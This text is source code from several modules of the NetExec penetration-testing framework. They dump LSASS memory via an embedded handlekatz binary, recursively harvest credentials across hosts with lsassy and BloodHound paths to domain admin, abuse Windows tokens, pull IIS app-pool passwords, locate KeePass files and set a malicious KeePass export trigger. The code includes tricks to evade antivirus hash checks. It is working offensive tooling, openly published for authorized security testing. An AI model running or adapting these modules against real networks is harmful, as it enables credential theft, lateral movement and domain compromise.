AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ) self.handlekatz = "handlekatz.exe" self.handlekatz_path = "/tmp/" self.dir_result = self.handlekatz_path self.useembeded = True # Add some random binary data to defeat AVs which check the file hash self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode() if "HANDLEKATZ_PATH" in module_options: self.handlekatz_path = module_options["HANDLEKATZ_PATH"] self.useembeded = False if "HANDLEKATZ_EXE_NAME" in module_options: self.handlekatz = module_options["HANDLEKATZ_EXE_NAME"] if "TMP_DIR" in module_options: self.tmp_dir = module_options["TMP_DIR"] if "DIR_RESULT" in module_options: self.dir_result = module_options["DIR_RESULT"] def on_admin_login(self, context, connection): handlekatz_loc = self.handlekatz_path + self.handlekatz if self.useembeded: try: with open(handlekatz_loc, "wb") as handlekatz: handlekatz.write(self.handlekatz_embeded) except FileNotFoundError: context.log.fail(f"Handlekatz file specified '{handlekatz_loc}' does not exist!") sys.exit(1) context.log.display(f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}") with open(handlekatz_loc, "rb") as handlekatz: try: connection.conn.putFile(self.share, self.tmp_share + self.handlekatz, handlekatz.read) context.log.success(f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}") except Exception as e: context.log.fail(f"Error writing file to share {self.share}: {e}") # get LSASS PID via `tasklist` command = 'tasklist /v /fo csv | findstr /i "lsass"' context.log.display(f"Getting lsass PID via command {command}") p = connection.execute(command, True) context.log.debug(f"Command Result: {p}") if len(p) == 1: p = p[0] if not p or p == "None": context.log.fail("Failed to execute command to get LSASS PID") self.delete_handlekatz_binary(connection, context) return # we get a CSV string back from `tasklist`, so we grab the PID from it pid = p.split(",")[1][1:-1] context.log.debug(f"pid: {pid}") command = self.tmp_dir + self.handlekatz + " --pid:" + pid + " --outfile:" + self.tmp_dir + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log" context.log.display(f"Executing command {command}") p = connection.execute(command, True) context.log.debug(f"Command result: {p}") if "Lsass dump is complete" in p: context.log.success("Process lsass.exe was successfully dumped") dump = True else: context.log.fail("Process lsass.exe error un dump, try with verbose") dump = False if not dump: self.delete_handlekatz_binary(connection, context) return else: regex = r"([A-Za-z0-9-]*\.log)" matches = re.search(regex, str(p), re.MULTILINE) if not matches: context.log.display("Error getting the lsass.dmp file name") return machine_name = matches.group() context.log.display(f"Copy {machine_name} to host") with open(self.dir_result + machine_name, "wb+") as dump_file: try: connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write) context.log.success(f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}") except Exception as e: context.log.fail(f"Error while get file: {e}") self.delete_handlekatz_binary() try: connection.conn.deleteFile(self.share, self.tmp_share + machine_name) context.log.success(f"Deleted lsass.dmp file on the {self.share} share") except Exception as e: context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}") h_in = open(self.dir_result + machine_name, "rb") # noqa: SIM115 h_out = open(self.dir_result + machine_name + ".decode", "wb") # noqa: SIM115 bytes_in = bytearray(h_in.read()) bytes_in_len = len(bytes_in) context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)") chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)] for chunk in chunks: for i in range(len(chunk)): chunk[i] ^= 0x41 h_out.write(bytes(chunk)) with open(self.dir_result + machine_name + ".decode", "rb") as dump: try: credz_bh = [] try: pypy_parse = pypykatz.parse_minidump_external(dump) except Exception as e: pypy_parse = None context.log.fail(f"Error parsing minidump: {e}") ssps = [ "msv_creds", "wdigest_creds", "ssp_creds", "livessp_creds", "kerberos_creds", "credman_creds", "tspkg_creds", ] for luid in pypy_parse.logon_sessions: for ssp in ssps: for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []): domain = getattr(cred, "domainname", None) username = getattr(cred, "username", None) password = getattr(cred, "password", None) NThash = getattr(cred, "NThash", None) if NThash is not None: NThash = NThash.hex() if username and (password or NThash) and "$" not in username: print_pass = password if password else NThash context.log.highlight(domain + "\\" + username + ":" + print_pass) if "." not in domain and domain.upper() in connection.domain.upper(): domain = connection.domain credz_bh.append( { "username": username.upper(), "domain": domain.upper(), } ) if len(credz_bh) > 0: add_user_bh(credz_bh, None, context.log, connection.config) except Exception as e: context.log.fail(f"Error opening dump file: {e}") def delete_handlekatz_binary(self, connection, context): try: connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz) context.log.success(f"Deleted handlekatz file on the {self.share} share") except Exception as e: context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}") NetExec-1.5.1/nxc/modules/hash_spider.py000066400000000000000000000340301514706431700201640ustar00rootroot00000000000000# Author: Peter Gormington (@hackerm00n on Twitter) import logging from sqlite3 import connect from sys import exit from neo4j import GraphDatabase, basic_auth from neo4j.exceptions import AuthError, ServiceUnavailable from lsassy.dumper import Dumper from lsassy.parser import Parser from lsassy.session import Session from lsassy.impacketfile import ImpacketFile from nxc.helpers.misc import CATEGORY credentials_data = [] found_users = [] reported_da = [] def neo4j_conn(context, connection, driver): if connection.config.get("BloodHound", "bh_enabled") != "False": context.log.display("Connecting to Neo4j/Bloodhound.") try: session = driver.session() list(session.run("MATCH (g:Group) return g LIMIT 1")) context.log.display("Connection Successful!") except AuthError: context.log.fail("Invalid credentials") except ServiceUnavailable: context.log.fail("Could not connect to neo4j database") except Exception as e: context.log.fail("Error querying domain admins") context.log.debug(e) else: context.log.fail("BloodHound not marked enabled. Check nxc.conf") exit(1) def neo4j_local_admins(context, driver): try: session = driver.session() admins = session.run("MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts context.log.success("Admins and PCs obtained") except Exception as e: context.log.fail(f"Could not pull admins: {e}") return None return list(admins.data()) def create_db(local_admins, dbconnection, cursor): cursor.execute("""CREATE TABLE if not exists pc_and_admins ("pc_name" TEXT UNIQUE, "local_admins" TEXT, "dumped" TEXT)""") for result in local_admins: cursor.execute( "INSERT OR IGNORE INTO pc_and_admins(pc_name, local_admins, dumped) VALUES(?, ?, ?)", ( result.get("COMPUTER"), str( result.get("USERS"), ), "FALSE", ), ) dbconnection.commit() cursor.execute("""CREATE TABLE if not exists admin_users("username" TEXT UNIQUE, "hash" TEXT, "password" TEXT)""") admin_users = [] for result in local_admins: for user in result.get("USERS"): if user not in admin_users: admin_users.append(user) for user in admin_users: cursor.execute("INSERT OR IGNORE INTO admin_users(username) VALUES(?)", [user]) dbconnection.commit() def process_creds(context, connection, credentials_data, dbconnection, cursor, driver): domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain for result in credentials_data: username = result["username"].upper().split("@")[0] nthash = result["nthash"] password = result["password"] if result["password"] is not None: context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.") cursor.execute( "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", [password], ) username = f"{username.upper()}@{domain.upper()}" dbconnection.commit() session = driver.session() session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned') if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0": context.log.fail(f"Hash for {username} is expired.") elif username not in found_users and nthash is not None: context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.") found_users.append(username) cursor.execute( "UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", [nthash], ) dbconnection.commit() username = f"{username.upper()}@{domain.upper()}" session = driver.session() session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned') path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p") paths = list(path_to_da.data()) for path in paths: if path: for value in path.values(): for item in value: if isinstance(item, dict): if {item["name"]} not in reported_da: context.log.success(f"You have a valid path to DA as {item['name']}.") reported_da.append({item["name"]}) exit() def initial_run(connection, cursor): username = connection.username password = getattr(connection, "password", "") nthash = getattr(connection, "nthash", "") cursor.execute( "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", [password], ) cursor.execute( "UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", [nthash], ) class NXCModule: name = "hash_spider" description = "Dump lsass recursively from a given hash using BH to find local admins" supported_protocols = ["smb"] category = CATEGORY.PRIVILEGE_ESCALATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options self.reset = None self.reset_dumped = None self.method = None @staticmethod def save_credentials(context, connection, domain, username, password, lmhash, nthash): host_id = context.db.get_hosts(connection.host)[0][0] if password is not None: credential_type = "plaintext" else: credential_type = "hash" password = ":".join(h for h in [lmhash, nthash] if h is not None) context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id) def options(self, context, module_options): """ METHOD Method to use to dump lsass.exe with lsassy RESET_DUMPED Allows re-dumping of hosts. (Default: False) RESET Reset DB. (Default: False) """ self.method = "comsvcs" if "METHOD" in module_options: self.method = module_options["METHOD"] self.reset_dumped = module_options.get("RESET_DUMPED", False) self.reset = module_options.get("RESET", False) def run_lsassy(self, context, connection, cursor): # copied and pasted from lsassy_dumper & added cursor # lsassy uses a custom "success" level, which requires initializing its logger or an error will be thrown # lsassy also removes all other handlers and overwrites the formatter which is bad (we want ours) # so what we do is define "success" as a logging level, then do nothing with the output logging.addLevelName(25, "SUCCESS") logging.success = lambda message, *args: () host = connection.host domain_name = connection.domain username = connection.username password = getattr(connection, "password", "") lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") session = Session() session.get_session( address=host, target_ip=host, port=445, lmhash=lmhash, nthash=nthash, username=username, password=password, domain=domain_name, ) if session.smb_session is None: context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.") cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'") return False dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method) if dumper is None: context.log.fail(f"Unable to load dump method '{self.method}'") return False file = dumper.dump() if file is None: context.log.fail("Unable to dump lsass") return False credentials, tickets, masterkeys = Parser(host, file).parse() file.close() ImpacketFile.delete(session, file.get_file_path()) if credentials is None: credentials = [] credentials = [cred.get_object() for cred in credentials if not cred.get_username().endswith("$")] credentials_unique = [] credentials_output = [] for cred in credentials: if [ cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"], ] not in credentials_unique: credentials_unique.append( [ cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"], ] ) credentials_output.append(cred) self.save_credentials(context, connection, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]) global credentials_data credentials_data = credentials_output def spider_pcs(self, context, connection, cursor, dbconnection, driver): cursor.execute("SELECT * from admin_users WHERE hash is not NULL") compromised_users = cursor.fetchall() cursor.execute("SELECT pc_name,local_admins FROM pc_and_admins WHERE dumped LIKE 'FALSE'") admin_access = cursor.fetchall() for user in compromised_users: for pc in admin_access: if user[0] in pc[1]: cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'") more_to_dump = cursor.fetchall() if len(more_to_dump) > 0: context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.") connection.domain = user[0].split("@")[1] connection.host = pc[0].split(".")[0] connection.username = user[0].split("@")[0] connection.nthash = user[1] connection.nthash = user[1] try: self.run_lsassy(context, connection, cursor) cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'") process_creds( context, connection, credentials_data, dbconnection, cursor, driver, ) self.spider_pcs(context, connection, cursor, dbconnection, driver) except Exception: context.log.fail(f"Failed to dump lsassy on {pc[0]}") if len(admin_access) > 0: context.log.fail("No more local admin access known. Please try re-running Bloodhound with newly found accounts.") exit() def on_admin_login(self, context, connection): db_path = connection.config.get("nxc", "workspace") # DB will be saved at ./NetExec/hash_spider_default.sqlite3 if workspace in nxc.conf is "default" db_name = f"hash_spider_{db_path}.sqlite3" dbconnection = connect(db_name, check_same_thread=False, isolation_level=None) cursor = dbconnection.cursor() if self.reset: try: cursor.execute("DROP TABLE IF EXISTS admin_users;") cursor.execute("DROP TABLE IF EXISTS pc_and_admins;") context.log.display("Database reset") exit() except Exception as e: context.log.fail("Database reset error", str(e)) exit() if self.reset_dumped: try: cursor.execute("UPDATE pc_and_admins SET dumped = 'False'") context.log.display("PCs can be dumped again.") except Exception as e: context.log.fail("Database update error", str(e)) exit() neo4j_user = connection.config.get("BloodHound", "bh_user") neo4j_pass = connection.config.get("BloodHound", "bh_pass") neo4j_uri = connection.config.get("BloodHound", "bh_uri") neo4j_port = connection.config.get("BloodHound", "bh_port") neo4j_db = f"bolt://{neo4j_uri}:{neo4j_port}" driver = GraphDatabase.driver(neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False) neo4j_conn(context, connection, driver) admin_results = neo4j_local_admins(context, driver) create_db(admin_results, dbconnection, cursor) initial_run(connection, cursor) context.log.display("Running lsassy") self.run_lsassy(context, connection, cursor) process_creds(context, connection, credentials_data, dbconnection, cursor, driver) context.log.display("🕷️ Starting to spider 🕷️") self.spider_pcs(context, connection, cursor, dbconnection, driver) NetExec-1.5.1/nxc/modules/hyperv-host.py000066400000000000000000000035271514706431700201720ustar00rootroot00000000000000from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5 import rrp from impacket.examples.secretsdump import RemoteOperations from nxc.helpers.misc import CATEGORY class NXCModule: """Module by @joaovarelas""" name = "hyperv-host" description = "Performs a registry query on the VM to lookup its HyperV Host" supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options def options(self, context, module_options): """""" def on_admin_login(self, context, connection): self.context = context path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters" key = "HostName" try: remote_ops = RemoteOperations(connection.conn, False) remote_ops.enableRegistry() ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) reg_handle = ans["phKey"] # Query try: ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, path) key_handle = ans["phkResult"] data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, key) self.context.log.highlight(f"{key}: {reg_value}") rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) except DCERPCException as e: self.context.log.debug(f"Registry key {path}\\{key} does not exist: {e}") except DCERPCException as e: self.context.log.fail(f"DCERPC Error while querying registry: {e}") except Exception as e: self.context.log.fail(f"Error while querying registry: {e}") finally: remote_ops.finish() NetExec-1.5.1/nxc/modules/iis.py000066400000000000000000000053231514706431700164620ustar00rootroot00000000000000from nxc.helpers.misc import CATEGORY class NXCModule: """ Checks for credentials in IIS Application Pool configuration files using appcmd.exe. Module by Brandon Fisher @shad0wcntr0ller """ name = "iis" description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe" supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """No options available""" def on_admin_login(self, context, connection): self.check_appcmd(context, connection) def check_appcmd(self, context, connection): if not hasattr(connection, "has_run"): connection.has_run = False if connection.has_run: return connection.has_run = True try: connection.conn.listPath("C$", "\\Windows\\System32\\inetsrv\\appcmd.exe") self.execute_appcmd(context, connection) except Exception as e: context.log.fail(f"appcmd.exe not found, this module is not applicable - {e}") return def execute_appcmd(self, context, connection): command = 'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"' context.log.info("Checking For Hidden Credentials With Appcmd.exe") output = connection.execute(command, True) lines = output.splitlines() username = None password = None apppool_name = None credentials_set = set() for line in lines: if "APPPOOL.NAME:" in line: apppool_name = line.split("APPPOOL.NAME:")[1].strip().strip('"') if "userName:" in line: username = line.split("userName:")[1].strip().strip('"') if "password:" in line: password = line.split("password:")[1].strip().strip('"') if apppool_name and username is not None and password is not None: current_credentials = (apppool_name, username, password) if current_credentials not in credentials_set: credentials_set.add(current_credentials) if username: context.log.success(f"Credentials Found for APPPOOL: {apppool_name}") if password == "": context.log.highlight(f"Username: {username} - User Does Not Have A Password") else: context.log.highlight(f"Username: {username}, Password: {password}") username = None password = None apppool_name = None if not credentials_set: context.log.fail("No credentials found :(") NetExec-1.5.1/nxc/modules/impersonate.py000066400000000000000000000112461514706431700202250ustar00rootroot00000000000000# Impersonate module for nxc # Author of the module : https://twitter.com/Defte_ # Impersonate: https://github.com/sensepost/Impersonate # Token manipulation blog post https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/ from base64 import b64decode from os import path import sys from datetime import datetime from nxc.helpers.misc import CATEGORY from nxc.paths import DATA_PATH class NXCModule: name = "impersonate" description = "List and impersonate tokens to run command as locally logged on users" supported_protocols = ["smb"] category = CATEGORY.PRIVILEGE_ESCALATION def options(self, context, module_options): """ TOKEN // Token id to usurp EXEC // Command to exec IMP_EXE // Path to the Impersonate binary on your local computer """ self.tmp_dir = "C:\\Windows\\Temp\\" self.share = "C$" self.tmp_share = self.tmp_dir.split(":")[1] self.impersonate = "Impersonate.exe" self.useembeded = True self.token = self.cmd = "" with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file: self.impersonate_embedded = b64decode(impersonate_file.read()) # Add some random binary data to defeat AVs which check the file hash self.impersonate_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode() if "EXEC" in module_options: self.cmd = module_options["EXEC"] if "TOKEN" in module_options: self.token = module_options["TOKEN"] if "IMP_EXE" in module_options: self.imp_exe = module_options["IMP_EXE"] self.useembeded = False def list_available_primary_tokens(self, _, connection): command = f"{self.tmp_dir}Impersonate.exe list" return connection.execute(command, True) def on_admin_login(self, context, connection): if self.useembeded: file_to_upload = "/tmp/Impersonate.exe" try: with open(file_to_upload, "wb") as impersonate: impersonate.write(self.impersonate_embedded) except FileNotFoundError: context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!") sys.exit(1) else: if path.isfile(self.imp_exe): file_to_upload = self.imp_exe else: context.log.error(f"Cannot open {self.imp_exe}") sys.exit(1) context.log.display(f"Uploading {self.impersonate}") with open(file_to_upload, "rb") as impersonate: try: connection.conn.putFile(self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read) context.log.success("Impersonate binary successfully uploaded") except Exception as e: context.log.fail(f"Error writing file to share {self.tmp_share}: {e}") return try: if self.cmd == "" or self.token == "": context.log.display("Listing available primary tokens") p = self.list_available_primary_tokens(context, connection) for line in p.splitlines(): token, token_integrity, token_owner = line.split(" ", 2) context.log.highlight(f"Primary token ID: {token:<2} {token_integrity:<6} {token_owner}") else: impersonated_user = "" p = self.list_available_primary_tokens(context, connection) for line in p.splitlines(): token_id, token_integrity, token_owner = line.split(" ", 2) if token_id == self.token: impersonated_user = token_owner.strip() break if impersonated_user: context.log.display(f"Executing {self.cmd} as {impersonated_user}") command = f'{self.tmp_dir}Impersonate.exe exec {self.token} "{self.cmd}"' for line in connection.execute(command, True, methods=["smbexec"]).splitlines(): context.log.highlight(line) else: context.log.fail("Invalid token ID submitted") except Exception as e: context.log.fail(f"Error runing command: {e}") finally: try: connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}") context.log.success("Impersonate binary successfully deleted") except Exception as e: context.log.fail(f"Error deleting Impersonate.exe on {self.share}: {e}") NetExec-1.5.1/nxc/modules/install_elevated.py000066400000000000000000000060521514706431700212150ustar00rootroot00000000000000from impacket.dcerpc.v5 import rrp from impacket.dcerpc.v5 import scmr from impacket.examples.secretsdump import RemoteOperations from nxc.helpers.misc import CATEGORY class NXCModule: name = "install_elevated" description = "Checks for AlwaysInstallElevated" supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def options(self, context, module_options): """ """ def on_admin_login(self, context, connection): try: remote_ops = RemoteOperations(connection.conn, False) remote_ops.enableRegistry() try: ans_machine = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) reg_handle = ans_machine["phKey"] ans_machine = rrp.hBaseRegOpenKey( remote_ops._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Policies\\Microsoft\\Windows\\Installer", ) key_handle = ans_machine["phkResult"] data_type, aie_machine_value = rrp.hBaseRegQueryValue( remote_ops._RemoteOperations__rrp, key_handle, "AlwaysInstallElevated", ) rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) if aie_machine_value == 0: context.log.highlight("AlwaysInstallElevated Status: 0 (Disabled)") return except rrp.DCERPCSessionError: context.log.highlight("AlwaysInstallElevated Status: 0 (Disabled)") return try: ans_user = rrp.hOpenCurrentUser(remote_ops._RemoteOperations__rrp) reg_handle = ans_user["phKey"] ans_user = rrp.hBaseRegOpenKey( remote_ops._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Policies\\Microsoft\\Windows\\Installer", ) key_handle = ans_user["phkResult"] data_type, aie_user_value = rrp.hBaseRegQueryValue( remote_ops._RemoteOperations__rrp, key_handle, "AlwaysInstallElevated", ) rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) except rrp.DCERPCSessionError: context.log.highlight("AlwaysInstallElevated Status: 1 (Enabled: Computer Only)") return if aie_user_value == 0: context.log.highlight("AlwaysInstallElevated Status: 1 (Enabled: Computer Only)") else: context.log.highlight("AlwaysInstallElevated Status: 1 (Enabled)") finally: try: remote_ops.finish() except scmr.DCERPCSessionError as e: context.log.debug(f"Received SessionError while attempting to clean up logins: {e}") except Exception as e: context.log.debug(f"Received general exception while attempting to clean up logins: {e}") NetExec-1.5.1/nxc/modules/ioxidresolver.py000066400000000000000000000040111514706431700205650ustar00rootroot00000000000000# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/ # Airbus CERT # module by @mpgn_x64 # updated by @NeffIsBack from ipaddress import ip_address from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException from impacket.dcerpc.v5.dcomrt import IObjectExporter from nxc.helpers.misc import CATEGORY class NXCModule: name = "ioxidresolver" description = "This module helps you to identify hosts that have additional active interfaces" supported_protocols = ["smb", "wmi"] category = CATEGORY.ENUMERATION def options(self, context, module_options): """DIFFERENT show only ip address if different from target ip (Default: False)""" self.pivot = module_options.get("DIFFERENT", "false").lower() in ["true", "1"] def on_login(self, context, connection): try: rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}") rpctransport.setRemoteHost(connection.host) portmap = rpctransport.get_dce_rpc() portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE) portmap.connect() objExporter = IObjectExporter(portmap) bindings = objExporter.ServerAlive2() context.log.debug(f"Retrieving network interface of {connection.host}") for binding in bindings: NetworkAddr = binding["aNetworkAddr"] try: ip_address(NetworkAddr[:-1]) if self.pivot: if NetworkAddr.rstrip("\x00") != connection.host: context.log.highlight(f"Address: {NetworkAddr}") else: context.log.highlight(f"Address: {NetworkAddr}") except Exception as e: context.log.debug(e) except DCERPCException as e: context.log.error(f"DCERPCException error: {e}") NetExec-1.5.1/nxc/modules/keepass_discover.py000066400000000000000000000074101514706431700212260ustar00rootroot00000000000000from csv import reader from nxc.helpers.misc import CATEGORY class NXCModule: """ Search for KeePass-related files and process Module by @d3lb3 Inspired by @harmj0y https://raw.githubusercontent.com/GhostPack/KeeThief/master/PowerShell/KeePassConfig.ps1 """ name = "keepass_discover" description = "Search for KeePass-related files and process." supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def __init__(self): self.search_type = "ALL" self.search_path = "'C:\\Users\\','$env:PROGRAMFILES','env:ProgramFiles(x86)'" def options(self, context, module_options): r""" SEARCH_TYPE Specify what to search, between: PROCESS Look for running KeePass.exe process only FILES Look for KeePass-related files (KeePass.config.xml, .kdbx, KeePass.exe) only, may take some time ALL Look for running KeePass.exe process and KeePass-related files (default) SEARCH_PATH Comma-separated remote locations where to search for KeePass-related files (you must add single quotes around the paths if they include spaces) Default: 'C:\\Users\\','$env:PROGRAMFILES','env:ProgramFiles(x86)' """ if "SEARCH_PATH" in module_options: self.search_path = module_options["SEARCH_PATH"] if "SEARCH_TYPE" in module_options: self.search_type = module_options["SEARCH_TYPE"] def on_admin_login(self, context, connection): if self.search_type == "ALL" or self.search_type == "PROCESS": # search for keepass process search_keepass_process_command_str = 'powershell.exe "Get-Process kee* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"' search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True) # we return the powershell command as a CSV for easier column parsing csv_reader = reader(search_keepass_process_output_csv.split("\n"), delimiter=",") next(csv_reader) # to skip the csv header line row_number = 0 # as csv_reader is an iterator we can't get its length without exhausting it for row in csv_reader: row_number += 1 keepass_process_id = row[0] keepass_process_username = row[1] keepass_process_name = row[2] context.log.highlight(f'Found process "{keepass_process_name}" with PID {keepass_process_id} (user {keepass_process_username})') if row_number == 0: context.log.display("No KeePass-related process was found") # search for keepass-related files if self.search_type == "ALL" or self.search_type == "FILES": search_keepass_files_payload = f"Get-ChildItem -Path {self.search_path} -Recurse -Force -Include ('KeePass.config.xml','KeePass.exe','*.kdbx') -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName" search_keepass_files_cmd = f'powershell.exe "{search_keepass_files_payload}"' search_keepass_files_output = connection.execute(search_keepass_files_cmd, True).split("\r\n") found = False found_xml = False for file in search_keepass_files_output: if "KeePass" in file or "kdbx" in file: if "xml" in file: found_xml = True found = True context.log.highlight(f"Found {file}") if not found: context.log.display("No KeePass-related file were found") elif not found_xml: context.log.fail("No config settings file found !!!") NetExec-1.5.1/nxc/modules/keepass_trigger.py000066400000000000000000000563741514706431700210700ustar00rootroot00000000000000import os import sys from time import sleep from csv import reader from base64 import b64encode from io import BytesIO, StringIO from xml.etree import ElementTree as ET from nxc.helpers.misc import CATEGORY from nxc.helpers.powershell import get_ps_script from nxc.paths import TMP_PATH class NXCModule: """ Make use of KeePass' trigger system to export the database in cleartext References: https://keepass.info/help/v2/triggers.html https://web.archive.org/web/20211017083926/http://www.harmj0y.net:80/blog/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/ Module by @d3lb3, inspired by @harmj0y work """ name = "keepass_trigger" description = "Set up a malicious KeePass trigger to export the database in cleartext." supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING # while the module only executes legit powershell commands on the target (search and edit files) # some EDR like Trend Micro flag base64-encoded powershell as malicious # the option PSH_EXEC_METHOD can be used to avoid such execution, and will drop scripts on the target def __init__(self): # module options self.action = None self.keepass_config_path = None self.keepass_user = None self.export_name = "export.xml" self.export_path = "C:\\Users\\Public" self.powershell_exec_method = "PS1" # additional parameters self.share = "C$" self.remote_temp_script_path = "C:\\Windows\\Temp\\temp.ps1" self.keepass_binary_path = "C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe" self.local_export_path = TMP_PATH self.trigger_name = "export_database" self.poll_frequency_seconds = 5 self.dummy_service_name = "OneDrive Sync KeePass" with open(get_ps_script("keepass_trigger_module/RemoveKeePassTrigger.ps1")) as remove_trigger_script_file: self.remove_trigger_script_str = remove_trigger_script_file.read() with open(get_ps_script("keepass_trigger_module/AddKeePassTrigger.ps1")) as add_trigger_script_file: self.add_trigger_script_str = add_trigger_script_file.read() with open(get_ps_script("keepass_trigger_module/RestartKeePass.ps1")) as restart_keepass_script_file: self.restart_keepass_script_str = restart_keepass_script_file.read() def options(self, context, module_options): r""" ACTION (mandatory) Performs one of the following actions, specified by the user: ADD insert a new malicious trigger into KEEPASS_CONFIG_PATH's specified file CHECK check if a malicious trigger is currently set in KEEPASS_CONFIG_PATH's specified file RESTART restart KeePass using a Windows service (used to force trigger reload), if multiple KeePass process are running, rely on USER option POLL search for EXPORT_NAME file in EXPORT_PATH folder (until found, or manually exited by the user) CLEAN remove malicious trigger from KEEPASS_CONFIG_PATH as well as database 